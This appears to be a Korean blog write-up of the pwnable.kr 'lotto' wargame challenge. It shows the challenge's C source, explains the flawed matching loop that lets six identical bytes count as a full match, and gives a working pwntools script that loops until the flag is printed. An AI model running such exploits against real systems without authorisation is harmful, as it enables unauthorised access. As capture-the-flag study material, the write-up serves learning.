728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
2.2. 분석
urandom 으로 값을 불러오기에 랜덤 값은 찾을 수 없다.
더불어 덮을 수도 없다.
주목해야하는 부분은 아래 부분인데,
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
i는 랜덤값, j는 submit 값에 사용된다.
문제는
만일 submit 값이 "111111"이고 lotto 값이 "123456" 이라고 가정하면,
lotto 1을 submit 111111과 각각 계산하여 match 값을 1씩 증가시키기에 하나만 맞으면 match가 6이 된다.
이를 기대하고 0x01~0x45 중 아무값이나 하나를 6개 넣어주면 될 것이다.
3. exploit
tmp 폴더에 flag 심볼릭 링크 하나 걸어두고 실행하였다.
from pwn import *
p = process('/home/lotto/lotto')
def pay():
p.sendlineafter(b'Exit\n',b'1')
p.sendlineafter(b': ',b'\x18\x18\x18\x18\x18\x18')
p.recvline()
return p.recvline()
i = 1
while i == 1:
check = pay()
if b'bad' in check:
i = 1
else:
print(check)
break
p.interactive()
lotto@pwnable:/tmp/w$ ls -al
total 1040420
drwxrwxr-x 2 lotto lotto 4096 Jan 24 21:42 .
drwxrwx-wt 13 root root 1065357312 Jan 24 21:42 ..
-rw-rw-r-- 1 lotto lotto 300 Jan 24 21:41 a.py
lrwxrwxrwx 1 lotto lotto 16 Jan 24 21:40 flag -> /home/lotto/flag
lotto@pwnable:/tmp/w$ python a.py
[+] Starting local process '/home/lotto/lotto': pid 122555
----------#플래그는 삭제
[*] Switching to interactive mode
- Select Menu -
1. Play Lotto
2. Help
3. Exit
$
728x90
반응형
'Wargame > pwnable.kr' 카테고리의 다른 글
cmd2 (0) | 2023.01.25 |
---|---|
cmd1 (0) | 2023.01.25 |
blackjack (0) | 2023.01.25 |
flag (0) | 2023.01.25 |
coin1 (0) | 2022.12.30 |